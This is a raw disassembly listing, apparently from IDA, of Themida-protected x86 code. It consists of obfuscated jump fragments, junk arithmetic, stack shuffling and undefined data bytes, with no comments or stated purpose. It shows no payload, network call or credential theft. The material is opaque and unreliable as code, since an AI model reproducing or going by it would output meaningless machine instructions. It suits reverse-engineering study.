--------------------------------------------------------------------------- loc_59BDCC: ; CODE XREF: Themida_:005A857Cj push ebp mov ebp, 61EC735Ah and ebp, 4F9E666Fh sub ebp, 0DB6F3E3Dh or edi, ebp pop ebp jmp loc_5AAD4F ; --------------------------------------------------------------------------- dw 3968h dd 89000064h, 0DBE92414h db 1Eh, 1, 0 ; --------------------------------------------------------------------------- loc_59BDF3: ; CODE XREF: Themida_:005AC207j sub eax, 3CA10E9Fh jmp loc_5A726D ; --------------------------------------------------------------------------- loc_59BDFD: ; CODE XREF: Themida_:005AC86Bj pop edx add esp, 4 pop dword ptr [esp] mov esp, [esp] push 3B44h mov [esp], ecx mov ecx, esp push edi mov edi, 4 add ecx, edi pop edi add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] test ecx, eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59BE37: ; CODE XREF: Themida_:005A1138j xor [esp], esi xor esi, [esp] jmp loc_5A0E5B ; --------------------------------------------------------------------------- loc_59BE42: ; CODE XREF: Themida_:0059BDADj and bh, 6Ch jl loc_5AEE0D shr bh, 8 jnp loc_5A1ECA jmp loc_5AC52F ; --------------------------------------------------------------------------- loc_59BE59: ; CODE XREF: Themida_:005AD878j shl edi, 6 or edi, 5192544Bh shl edi, 6 sub edi, 9A0FB134h add ebp, edi pop edi jmp loc_5A59F1 ; --------------------------------------------------------------------------- loc_59BE73: ; CODE XREF: Themida_:loc_5AEA43j push ecx push ebp jmp loc_59E58D ; --------------------------------------------------------------------------- loc_59BE7A: ; CODE XREF: Themida_:0059F2D6j pop esi push ebx add dword ptr [esp], 6E3F76F4h pop edx sub edx, 6E3F76F4h push dword ptr [esp] mov ebx, [esp] push edx jmp loc_59F6A0 ; --------------------------------------------------------------------------- loc_59BE96: ; CODE XREF: Themida_:005A0857j mov [esp], ecx jmp loc_59F21C ; --------------------------------------------------------------------------- loc_59BE9E: ; CODE XREF: Themida_:0059D3D4j pop esi jmp loc_59FBF3 ; --------------------------------------------------------------------------- loc_59BEA4: ; CODE XREF: Themida_:0059B210j push small 0D00h mov [esp], bx mov bh, 9Ah jmp loc_59B525 ; --------------------------------------------------------------------------- db 28h dd 68505AF3h, 74B9h, 88241489h, 5AF488DEh, 5B58E288h, 0C3E9C12Ch dd 680000C0h, 1F92h, 0BF243C89h, 47195A3Eh, 7FE9FA31h db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_59BEE3: ; CODE XREF: Themida_:005A7D2Cj add esp, 4 add esp, 4 push 60B1h mov [esp], ebx push edx jmp loc_59B5B2 ; --------------------------------------------------------------------------- aPsah db 'PИah',0 align 10h loc_59BF00: ; CODE XREF: Themida_:0059A16Aj js loc_5A6A98 xor edx, 26F662E8h sub edx, 0E75A2484h push ebp mov ebp, edx mov ebx, ebp pop ebp jmp loc_5AF1E0 ; --------------------------------------------------------------------------- loc_59BF1D: ; CODE XREF: Themida_:005AA522j pop edx shl edx, 3 push ebp push edx push 33265EBh pop edx jmp loc_59FB34 ; --------------------------------------------------------------------------- loc_59BF2E: ; CODE XREF: Themida_:loc_5AB1E7j add edx, 8BFF2E2h jmp loc_5AE464 ; --------------------------------------------------------------------------- loc_59BF39: ; CODE XREF: Themida_:005ACF66j add esp, 4 push ebx mov ebx, esp push edi jmp loc_5A476E ; --------------------------------------------------------------------------- loc_59BF48: ; CODE XREF: Themida_:0059A4FEj add al, dl pop dx add al, 0EBh jmp loc_5AC854 ; --------------------------------------------------------------------------- loc_59BF53: ; CODE XREF: Themida_:005A1F26j push edi mov edi, 7E734C0Ah jmp loc_59D304 ; --------------------------------------------------------------------------- dw 489h dd 55E08924h, 4BDh, 625B2D00h, 0E80157A4h, 6653E9h db 0 ; --------------------------------------------------------------------------- loc_59BF75: ; CODE XREF: Themida_:005A382Bj push edi mov edi, 366A0A0Ch jmp loc_5A34E9 ; --------------------------------------------------------------------------- dword_59BF80 dd 4118E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59BF86: ; CODE XREF: Themida_:005A4C07j push ebp jmp loc_5A325F ; --------------------------------------------------------------------------- loc_59BF8C: ; CODE XREF: Themida_:005A7248j mov [esp], edx mov edx, 717F1299h xor edx, 6F2F1BF3h xor eax, edx jmp loc_5ACC09 ; --------------------------------------------------------------------------- db 68h, 50h, 1Fh dd 0B2E90000h db 0C8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59BFAB: ; CODE XREF: Themida_:0059D34Cj mov esi, edx pop edx add eax, esi jmp loc_5AE29E ; --------------------------------------------------------------------------- loc_59BFB5: ; CODE XREF: Themida_:005A8C48j mov esi, 62E95381h shr esi, 1 and esi, 695E49A1h jbe loc_5A0CDB sub esi, 64450EBCh xor ebp, esi jmp loc_5999BF ; --------------------------------------------------------------------------- loc_59BFD5: ; CODE XREF: Themida_:00599869j sub ebx, 42430800h sub ebx, 18FE5BE2h add ebx, ebp jmp loc_5A913E ; --------------------------------------------------------------------------- loc_59BFE8: ; CODE XREF: Themida_:005A9251j and ebx, 106C2BEFh jmp loc_5A66CE ; --------------------------------------------------------------------------- byte_59BFF3 db 8Bh ; DATA XREF: Themida_:00598860o dd 0A8E92424h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BFFB: ; CODE XREF: Themida_:005ABEC1j neg eax jns loc_5AD9AB shl eax, 7 jmp loc_5A79E2 ; --------------------------------------------------------------------------- db 80h dd 8B5C39F0h, 68592424h, 42AAh, 0BD242C89h, 5A1C1741h dd 22B68h, 243C8900h, 4A66BB53h, 0A7BF1094h, 31582F63h dd 241C8BDFh, 4C481h, 0FD090000h, 83243C8Bh, 0EDC104C4h dd 81D5F704h, 0BC5631F5h, 5DEB29E5h, 0C1AE9h db 0 ; --------------------------------------------------------------------------- loc_59C059: ; CODE XREF: Themida_:005A2E2Dj mov esp, [esp] jmp loc_59E688 ; --------------------------------------------------------------------------- db 81h, 0E9h, 7Eh dd 15E9BFAh, 895659CDh, 4EC83E6h, 0BB241C89h, 23B82AFDh dd 0DBF7DBF7h, 54A9BD55h, 0B8E93487h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C087: ; CODE XREF: Themida_:005ACD31j pop ebx jmp loc_5AC38E ; --------------------------------------------------------------------------- loc_59C08D: ; CODE XREF: Themida_:005A1B74j push 38DFh mov [esp], ecx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59C09A: ; CODE XREF: Themida_:0059A28Bj shl ecx, 7 jmp loc_5A0B23 ; --------------------------------------------------------------------------- loc_59C0A2: ; CODE XREF: Themida_:005AAC94j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp pop eax sub dh, 79h add dh, ch add dh, 79h jmp loc_5A7AF1 ; --------------------------------------------------------------------------- db 89h dd 4EC83E7h, 12B6BE9h db 0 ; --------------------------------------------------------------------------- loc_59C0C9: ; CODE XREF: Themida_:005AF294j mov ch, 0B5h shr ch, 4 sub ch, 5Fh add ah, ch pop ecx add cl, 69h add cl, ah sub cl, 69h mov eax, [esp] add esp, 4 add al, 0A3h add al, cl push ebx push ecx push eax mov ah, 0A3h mov cl, ah mov eax, [esp] add esp, 4 jmp loc_5A2CE5 ; --------------------------------------------------------------------------- loc_59C0FB: ; CODE XREF: Themida_:005ACAE5j inc edx inc edx sub edx, 5F0D728Ch jmp loc_59DF73 ; --------------------------------------------------------------------------- loc_59C108: ; CODE XREF: Themida_:005AA133j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] jmp loc_59BA41 ; --------------------------------------------------------------------------- loc_59C11D: ; CODE XREF: Themida_:005ABDF5j pop edx jmp loc_5A8769 ; --------------------------------------------------------------------------- loc_59C123: ; CODE XREF: Themida_:005A9F67j push 651h mov [esp], esi mov edi, [esp] sub esp, 4 mov [esp], esi mov esi, esp push ebp push ecx jmp loc_5A6A0A ; --------------------------------------------------------------------------- loc_59C13D: ; CODE XREF: Themida_:005A2405j mov edi, ebx pop ebx add ecx, 37DB4994h jmp loc_5A0DBA ; --------------------------------------------------------------------------- loc_59C14B: ; CODE XREF: Themida_:0059B3CFj sub ecx, 51F73E7Ch neg ecx add ecx, 2DFB3EC7h shl ecx, 8 xor ecx, 3A0621B0h push 3B6Dh mov [esp], eax push 277F3A6Eh jmp loc_5A4BBA ; --------------------------------------------------------------------------- dd 4EC81h, 3C890000h, 68525124h, 3C3F10DEh, 0BE29E9h, 0D4E95F00h db 0A1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C18F: ; CODE XREF: Themida_:005AB5AAj or bl, 95h jmp loc_5A30BB ; --------------------------------------------------------------------------- db 87h dd 8B5C240Ch, 0C4832414h, 0A0E95704h, 100005Fh, 0B7305C8h dd 56532982h, 4409D68h, 0D2E95E74h db 0D0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C1BB: ; CODE XREF: Themida_:0059D688j add esi, 4 add esi, 4 sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] inc edi jnp loc_5A5742 shr edi, 5 jnz loc_5A6A04 push ebp jmp loc_59D459 ; --------------------------------------------------------------------------- dw 0F2B9h dd 0F7640E47h db 0D1h, 5Fh ; --------------------------------------------------------------------------- loc_59C1F6: ; CODE XREF: Themida_:005A09BAj sub ebx, eax pop eax add ebx, edx add ebx, 15EA4D38h push ebp mov ebp, 3AF20E65h inc ebp sub ebp, 0F3B8F549h sub ebx, ebp pop ebp pop edx sub ebx, 2 xchg ebx, [esp] jmp loc_59B745 ; --------------------------------------------------------------------------- loc_59C21D: ; CODE XREF: Themida_:0059B4A7j push edx jmp loc_5A73B1 ; --------------------------------------------------------------------------- loc_59C223: ; CODE XREF: Themida_:005AC828j sub eax, 77316277h pop esi xchg eax, [esp] mov esp, [esp] mov [esp], ecx xchg edi, [esp] not edi xchg edi, [esp] pop ecx xor eax, ecx xor ecx, eax jmp loc_599A4E ; --------------------------------------------------------------------------- dd 0D9F6D9F6h, 0C907E9h, 0E99C5100h, 0FFFFC74Fh ; --------------------------------------------------------------------------- loc_59C254: ; CODE XREF: Themida_:005A79F5j ; Themida_:005AAD55j add esi, edi pop edi sub esp, 4 mov [esp], ecx mov ecx, 4 add esi, ecx pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59C274: ; CODE XREF: Themida_:005AA400j push ecx mov ecx, 1DC923AAh shr ecx, 4 jmp loc_59F813 ; --------------------------------------------------------------------------- loc_59C282: ; CODE XREF: Themida_:0059AA8Ej xor ebx, 0B369F022h mov ecx, ebx pop ebx push 0 sub [esp], ecx mov ecx, [esp] add esp, 4 xor ecx, 0CCD8914Fh add ebp, 42B62F9h add ebp, 686D676Dh jmp loc_5A9189 ; --------------------------------------------------------------------------- loc_59C2B0: ; CODE XREF: Themida_:005A294Cj mov [esp], eax push edi mov edi, 1440FF6h inc edi jg loc_5A497C add edi, 7CB402BAh jl loc_5A0008 loc_59C2CC: ; CODE XREF: Themida_:005A27CAj pop esi jmp loc_59CA67 ; --------------------------------------------------------------------------- dw 0C89h aS1p db '$И1▐',0 align 2 aZu11s1Xsuo db '┤Н1е1Х1е∙И·▌',0 align 4 loc_59C2E8: ; CODE XREF: Themida_:005A647Ej pop ebp sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push esp jmp loc_5AB0AF ; --------------------------------------------------------------------------- loc_59C2FC: ; CODE XREF: Themida_:005A6F82j not edx shr edx, 5 xor edx, 338E1CA5h mov esi, edx jmp loc_5AC9D6 ; --------------------------------------------------------------------------- loc_59C30E: ; CODE XREF: Themida_:005A8646j push dword ptr [esp] pop ecx jmp loc_599FDB ; --------------------------------------------------------------------------- loc_59C317: ; CODE XREF: Themida_:005ADA07j xchg ebp, [esp] pop esp xor bh, al mov ax, [esp] add esp, 2 jmp loc_5A5B1D ; --------------------------------------------------------------------------- loc_59C32C: ; CODE XREF: Themida_:005A2007j sub ebx, 3F892558h jmp loc_5ABC89 ; --------------------------------------------------------------------------- loc_59C337: ; CODE XREF: Themida_:005A42EEj pop bx jmp loc_5AB755 ; --------------------------------------------------------------------------- loc_59C33E: ; CODE XREF: Themida_:0059D1A7j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5AE3DD ; --------------------------------------------------------------------------- loc_59C351: ; CODE XREF: Themida_:005A2136j push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_5A747A ; --------------------------------------------------------------------------- dd 0BBBB5350h, 81525F53h, 0D867CAEBh, 54E38120h, 0F51C064h dd 1043981h, 1F9BE900h, 0E3890000h, 11951E9h, 8BE9F600h dd 0E9552414h, 1B10h, 82E9D801h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C39B: ; CODE XREF: Themida_:005AAB6Aj mov ch, bl jmp loc_59D71A ; --------------------------------------------------------------------------- dw 0BD55h dd 2B965C7Dh, 3AB0ED81h, 3968163Ch, 89000002h, 0A0B82404h dd 2D04A216h, 0FFFFFFFFh, 40AE82Dh, 6E0C11Bh, 3B86F905h dd 272CE9FFh db 1, 0 ; --------------------------------------------------------------------------- loc_59C3D2: ; CODE XREF: Themida_:0059A8FDj pop edx xchg eax, [esp] pop esp mov [esp], ebx mov eax, [esp] push eax mov eax, esp add eax, 4 jmp loc_5A328C ; --------------------------------------------------------------------------- loc_59C3EA: ; CODE XREF: Themida_:005A53C6j mov ebx, 393A7D1Eh shl ebx, 7 sub ebx, 0D5C5FC2Fh add edx, 355C4354h jmp loc_5ABF9D ; --------------------------------------------------------------------------- loc_59C403: ; CODE XREF: Themida_:005AB8E7j mov esp, [esp] jmp loc_5ACC77 ; --------------------------------------------------------------------------- loc_59C40B: ; CODE XREF: Themida_:005ACABBj sub bx, 58D3h pop cx add bx, ax push 6C37h mov [esp], ecx push dx jmp loc_5A5D7F ; --------------------------------------------------------------------------- dword_59C424 dd 24048B66h, 0E904EC83h, 5BCDh; --------------------------------------------------------------------------- loc_59C430: ; CODE XREF: Themida_:0059AB6Cj add ebx, edx sub ebx, 312E4B4Ah add ebx, 6ED40959h add eax, [ebx] push dword ptr [esp] push dword ptr [esp] jmp loc_59DDF3 ; --------------------------------------------------------------------------- db 68h dd 1C13h, 50242C89h, 3F264FB8h, 0B3A9BD02h, 0B0E95FB4h db 0E1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C463: ; CODE XREF: Themida_:005AFB37j xor esi, 703B880Dh xor edx, esi pop esi push edx pop ebx pop edx jmp loc_5A53FE ; --------------------------------------------------------------------------- dd 0BB241C89h, 2, 46CFC681h, 0EE817BD2h, 69A13E1Eh, 11BE1E9h db 0 ; --------------------------------------------------------------------------- loc_59C48D: ; CODE XREF: Themida_:0059F2E4j mov eax, 4 add ebp, eax jmp loc_59FA99 ; --------------------------------------------------------------------------- loc_59C499: ; CODE XREF: Themida_:005A6BBCj mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp add esp, 4 xor edx, edx push 67B2h mov [esp], ebx push 0B34h mov [esp], ecx mov ecx, 397E7865h add [esp+4], ecx push dword ptr [esp] pop ecx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5A28C9 ; --------------------------------------------------------------------------- loc_59C4E7: ; CODE XREF: Themida_:00599234j add ebp, ebx pop ebx mov edx, [esp] jmp loc_5A28E4 ; --------------------------------------------------------------------------- loc_59C4F2: ; CODE XREF: Themida_:005AA85Ej mov ecx, 77AF24F0h inc ecx jmp loc_5AD39C ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0F0300000h, 24148B66h, 169368h, 240C8900h, 0E9E28952h dd 7DE2h ; --------------------------------------------------------------------------- loc_59C51C: ; CODE XREF: Themida_:0059AE99j mov edx, 11A279A2h shr edx, 5 xor edx, 1ED15D2Ch inc edx jmp loc_59C9D8 ; --------------------------------------------------------------------------- dd 8904EC83h, 2868240Ch, 8900001Bh, 0FBB241Ch, 0B9592A4Fh dd 500D598Eh, 1C8BD931h, 0F2B7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C552: ; CODE XREF: Themida_:005A8E22j push dword ptr [esp] pop ebp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push esi push 7263h mov [esp], edi mov edi, 105422AFh mov esi, edi jmp loc_59D0C8 ; --------------------------------------------------------------------------- loc_59C584: ; CODE XREF: Themida_:loc_5993B6j ; Themida_:005ACBC5j mov edi, 5FC2463Bh or edi, 644936AFh not edi sub edi, 54F2358Ah shl edi, 1 jmp loc_5A8D0B ; --------------------------------------------------------------------------- loc_59C59E: ; CODE XREF: Themida_:005A6541j add ch, 54h jmp loc_5A3C51 ; --------------------------------------------------------------------------- loc_59C5A6: ; CODE XREF: Themida_:0059A641j jmp loc_5AEF3D ; --------------------------------------------------------------------------- loc_59C5AB: ; CODE XREF: Themida_:0059C610j sub [esp+4], cx pop cx jmp loc_5AA4E3 ; --------------------------------------------------------------------------- db 31h dd 24048BC6h, 0E904C483h, 6835h, 0EC83E389h, 24048904h dd 8904EC83h, 73E92414h, 0F70000CAh, 1C681D6h, 51000000h dd 0EF0ED5B9h, 0E9C1413Ah, 0EDE18102h, 0E9390347h, 3877h ; --------------------------------------------------------------------------- loc_59C5F4: ; CODE XREF: Themida_:005ABE3Dj dec esi jmp loc_59ECED ; --------------------------------------------------------------------------- loc_59C5FA: ; CODE XREF: Themida_:00598EE1j add esi, 4 add esi, 2 xchg esi, [esp] pop esp push cx mov cx, 3B15h jmp loc_59C5AB ; --------------------------------------------------------------------------- loc_59C615: ; CODE XREF: Themida_:005A9B52j sub eax, 5FC213D4h sub edi, eax jmp loc_5A36B2 ; --------------------------------------------------------------------------- loc_59C621: ; CODE XREF: Themida_:005AE63Ej movzx cx, ah jmp loc_598D48 ; --------------------------------------------------------------------------- word_59C62A dw 34FFh ; DATA XREF: Themida_:00598908o dd 24048B24h, 4C481h, 0EC810000h, 4, 83241489h, 248904ECh dd 0E9575524h, 494Dh, 50685D54h, 89000006h, 4BF243Ch, 0E9000000h dd 1FF0h ; --------------------------------------------------------------------------- loc_59C660: ; CODE XREF: Themida_:005A9DA1j add esp, 4 mov ebp, ecx pop ecx jmp loc_5A32AB ; --------------------------------------------------------------------------- loc_59C66E: ; CODE XREF: Themida_:005AADA7j jmp loc_5989A3 ; --------------------------------------------------------------------------- byte_59C673 db 0ADh ; DATA XREF: Themida_:0059880Co dd 43068h, 7429E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59C67E: ; CODE XREF: Themida_:005AB131j pop esi jmp loc_59F3BA ; --------------------------------------------------------------------------- loc_59C684: ; CODE XREF: Themida_:0059C6A5j ; Themida_:0059D4CFj mov ebp, [esp] add esp, 4 jmp loc_5A32CC ; --------------------------------------------------------------------------- loc_59C692: ; CODE XREF: Themida_:005AF5D9j push dx mov dl, 0F7h add al, dl pop dx jmp loc_59EF4C ; --------------------------------------------------------------------------- loc_59C69F: ; CODE XREF: Themida_:005AD932j jns loc_5AB636 jmp loc_59C684 ; --------------------------------------------------------------------------- dw 2C33h dd 24248B24h db 0B5h, 0C4h ; --------------------------------------------------------------------------- loc_59C6B2: ; CODE XREF: Themida_:005A7512j inc ebx jmp loc_59DFDF ; --------------------------------------------------------------------------- dd 120A7E9h db 0 ; --------------------------------------------------------------------------- loc_59C6BD: ; CODE XREF: Themida_:0059F10Ej mov ebx, [esp] add esp, 4 jmp loc_5AF4A4 ; --------------------------------------------------------------------------- dd 95E9E189h db 0F3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C6CF: ; CODE XREF: Themida_:0059D789j ; Themida_:loc_59DAB6j mov ebx, [esp] add esp, 4 mov edi, [esp] add esp, 4 xchg ebp, [esp] pop esp push small word ptr [eax] jmp loc_5989A3 ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 0E2895204h, 4EC81h, 4890000h, 4B824h, 0E9570000h dd 10B20h aNsI db '╜Ии┴',0 ; DATA XREF: Themida_:0059890Co align 2 dw 0E889h dd 5D2434FFh, 0FFEDBAE9h db 0FFh ; --------------------------------------------------------------------------- loc_59C715: ; CODE XREF: Themida_:005AFC91j add ebx, 4C015AEEh sub ebx, esi sub ebx, 4C015AEEh jmp loc_5A550B ; --------------------------------------------------------------------------- loc_59C728: ; CODE XREF: Themida_:005A40A2j add ecx, edi mov edi, [esp] add esp, 4 xor ebp, ecx jmp loc_59D054 ; --------------------------------------------------------------------------- db 58h dd 114C4E9h, 1AE95D00h db 33h, 1, 0 ; --------------------------------------------------------------------------- loc_59C743: ; CODE XREF: Themida_:0059B733j push 3AC1h jmp loc_5AE941 ; --------------------------------------------------------------------------- loc_59C74D: ; CODE XREF: Themida_:005A23BFj pop edi xor ecx, eax pop eax jmp loc_5A56B7 ; --------------------------------------------------------------------------- loc_59C756: ; CODE XREF: Themida_:005A54BAj push ebx mov bh, al push eax mov al, bh push ebx mov bl, al mov dh, bl pop ebx pop eax jmp loc_59D617 ; --------------------------------------------------------------------------- dd 5C24048Fh, 51243C89h, 0C181E189h, 4, 4B850h, 0C1290000h dd 240C8758h, 241C895Ch, 0EA7C51BBh, 9ACB815Fh, 0F2E806Eh dd 10EA28Dh, 56D3F700h, 0E4F9DBEh db 74h, 51h, 58h ; --------------------------------------------------------------------------- loc_59C7A3: ; CODE XREF: Themida_:005A1DCDj mov edx, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] ror word ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59C7BF: ; CODE XREF: Themida_:005A2F1Ej pop ebp add ebp, 4 push ebx mov ebx, 2 add ebp, ebx jmp loc_59926D ; --------------------------------------------------------------------------- loc_59C7D3: ; CODE XREF: Themida_:005A6A17j and ecx, 0BA5305Dh jmp loc_59A7E3 ; --------------------------------------------------------------------------- loc_59C7DE: ; CODE XREF: Themida_:0059DB2Aj add esp, 4 jmp loc_599F1A ; --------------------------------------------------------------------------- loc_59C7E6: ; CODE XREF: Themida_:005ADB4Cj ; Themida_:005AEC99j neg ebx and ebx, 360C487Dh not ebx push esi mov esi, 9B478EA7h xor ebx, esi jmp loc_59ED2C ; --------------------------------------------------------------------------- db 50h, 0B8h, 51h dd 0D11D016Ch, 2DD0F7E0h, 5DA75483h, 0FA3CD235h, 69E95771h dd 5A0000DAh, 4C481h, 0FF510000h, 59042474h, 0B679E9h db 0 ; --------------------------------------------------------------------------- loc_59C829: ; CODE XREF: Themida_:005A76DDj dec ebx xor ebx, 13FD51D0h jmp loc_5A9EDC ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0FEh db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C83B: ; CODE XREF: Themida_:005AB5F0j mov esi, edi pop edi add eax, 2BB84577h sub eax, 24276411h sub eax, esi add eax, 24276411h jmp loc_5A9658 ; --------------------------------------------------------------------------- loc_59C854: ; CODE XREF: Themida_:0059F871j or eax, 386950FDh dec eax jmp loc_59A400 ; --------------------------------------------------------------------------- byte_59C85F db 81h ; DATA XREF: Themida_:00598894o dd 4ECh, 24348900h, 0FFFAF7E9h, 348966FFh, 14F76624h, 348B6624h dd 5F545724h, 4BA52h, 0D7010000h, 0FFC6D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_59C889: ; CODE XREF: Themida_:005A4E3Ej mov ebp, edx jmp loc_5A6316 ; --------------------------------------------------------------------------- loc_59C890: ; CODE XREF: Themida_:005A44D2j push ecx push 0 mov ecx, [esp] add esp, 4 push ebp mov ebp, ecx mov ebx, ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] jmp loc_59AD96 ; --------------------------------------------------------------------------- loc_59C8AF: ; CODE XREF: Themida_:005ACA74j add dword ptr [esp], 4 mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5A5424 ; --------------------------------------------------------------------------- loc_59C8D1: ; CODE XREF: Themida_:005AD68Cj xor esi, ebp jmp loc_5A3E67 ; --------------------------------------------------------------------------- loc_59C8D8: ; CODE XREF: Themida_:005A578Cj xor eax, edi jmp loc_5A21AA ; --------------------------------------------------------------------------- db 83h dd 0BCE904ECh, 5CFFFFDAh, 0FFE2EBE9h, 0E3F681FFh, 89B4A6D0h dd 18E95EF2h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C8FB: ; CODE XREF: Themida_:005997A2j push edi jmp loc_5A484D ; --------------------------------------------------------------------------- loc_59C901: ; CODE XREF: Themida_:005AF13Dj add al, 0A5h pop dx push 56ECh mov [esp], ecx mov ch, 0CBh push ecx push eax mov ah, dl mov dl, [esp+5] mov [esp+5], ah pop eax not dl xchg dl, [esp+1] mov ecx, [esp] add esp, 4 jmp loc_5A0BB2 ; --------------------------------------------------------------------------- dd 0BB53C201h, 63FC36DCh, 0B28AE9h db 0 ; --------------------------------------------------------------------------- loc_59C93D: ; CODE XREF: Themida_:0059D627j mov esi, 4 add ebp, esi pop esi add ebp, 4 xchg ebp, [esp] pop esp pop ecx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59C955: ; CODE XREF: Themida_:00599C3Fj push edx mov edx, esp push ebx mov ebx, 4 add edx, ebx pop ebx add edx, 4 xchg edx, [esp] jmp loc_5A58DB ; --------------------------------------------------------------------------- loc_59C96F: ; CODE XREF: Themida_:005A80AAj xor ch, bh pop bx push bx push ecx jmp loc_5ABDD4 ; --------------------------------------------------------------------------- loc_59C97B: ; CODE XREF: Themida_:005AFDD2j push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] add ecx, 4 jmp loc_5A0726 ; --------------------------------------------------------------------------- db 2Dh, 4, 48h dd 9E2D6069h, 570511Ch, 9F73FC5h, 0DC68E801h, 8900007Ah dd 0FBBD242Ch, 8159525Fh, 835A3EF5h, 29F58104h, 8148C835h dd 1C5h, 0EC19E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C9C6: ; CODE XREF: Themida_:005AFD99j pop ebx xor ebx, 40927A3h pop ebp push ebx not dword ptr [esp] pop ebx jmp loc_59E692 ; --------------------------------------------------------------------------- loc_59C9D8: ; CODE XREF: Themida_:0059C52Bj jo loc_5AD008 xor edx, 4791562Eh push edx jmp loc_5AAB6F ; --------------------------------------------------------------------------- loc_59C9EA: ; CODE XREF: Themida_:005AD218j mov [esp], esi mov esi, esp push ecx mov ecx, 57240B1Fh jmp loc_59FC5E ; --------------------------------------------------------------------------- loc_59C9FA: ; CODE XREF: Themida_:005A4F53j xor ebx, 0DD3A16E9h add ecx, ebx pop ebx add ecx, 4 xchg ecx, [esp] pop esp push ecx jmp loc_59FD64 ; --------------------------------------------------------------------------- loc_59CA13: ; CODE XREF: Themida_:005A6763j push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], edx push 3500h mov [esp], ebx jmp loc_59BD0F ; --------------------------------------------------------------------------- loc_59CA30: ; CODE XREF: Themida_:loc_5AE30Bj push eax push ebx mov ebx, 0EF7779Fh mov eax, ebx pop ebx xor edi, eax push dword ptr [esp] jmp loc_5A8EB7 ; --------------------------------------------------------------------------- loc_59CA44: ; CODE XREF: Themida_:005AABECj pop ecx push 1C97h jmp loc_5A0ECA ; --------------------------------------------------------------------------- loc_59CA4F: ; CODE XREF: Themida_:005AE8E0j pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ecx, 166C562Bh or eax, ecx mov ecx, [esp] jmp loc_59AF9B ; --------------------------------------------------------------------------- loc_59CA67: ; CODE XREF: Themida_:0059C2CDj push 604Eh mov [esp], edi mov edi, 2 push ebx mov ebx, 19C10434h xor ebx, esi jmp loc_59D036 ; --------------------------------------------------------------------------- aXsO db 'XИ╩▌',0 db 0 ; --------------------------------------------------------------------------- loc_59CA87: ; CODE XREF: Themida_:0059F40Bj push 2A90h jmp loc_5AF02E ; --------------------------------------------------------------------------- aQzSoz db 'яО┤оИoz',0 align 2 loc_59CA9A: ; CODE XREF: Themida_:005A1F6Bj pop esi jmp loc_5A6B4A ; --------------------------------------------------------------------------- dd 4EF81h, 3C870000h, 2C895C24h, 0E9E58924h, 0FFFFF332h ; --------------------------------------------------------------------------- loc_59CAB4: ; CODE XREF: Themida_:005A8013j mov dl, cl jmp loc_59941C ; --------------------------------------------------------------------------- aBIBpsC db '│а&┬й│PИ╠√',0 dw 100h aSpp db 'ъИ╞▐',0 align 2 dw 815Ah dd 0F7E5DEDh, 81FD017Dh, 0F7E5DC5h, 67E95F7Dh db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59CAE3: ; CODE XREF: Themida_:005A5B35j pop ebx jmp loc_59B22F ; --------------------------------------------------------------------------- db 35h, 0Bh, 54h dd 0EC836F07h, 24048904h, 92243481h, 5F232565h, 4EF3E9h db 0 ; --------------------------------------------------------------------------- loc_59CB01: ; CODE XREF: Themida_:0059D8DBj sub esp, 2 jmp loc_5A66A9 ; --------------------------------------------------------------------------- dd 0FE3EF81h, 830F2D34h, 0FE14h, 49AE9h, 0E1895100h, 5509C6C6h ; --------------------------------------------------------------------------- loc_59CB24: ; CODE XREF: Themida_:005ABD73j mov [esp], ecx push ebx mov ebx, 37E94131h shl ebx, 7 jmp loc_5ABA9D ; --------------------------------------------------------------------------- loc_59CB35: ; CODE XREF: Themida_:0059B5C3j add ebx, 4 push ecx mov ecx, 4 sub ebx, ecx pop ecx xchg ebx, [esp] jmp loc_59FFDD ; --------------------------------------------------------------------------- dd 0DE004BB3h, 0FFFCE0E9h, 0E9C3B2FFh, 113CDh, 0C6E9E688h dd 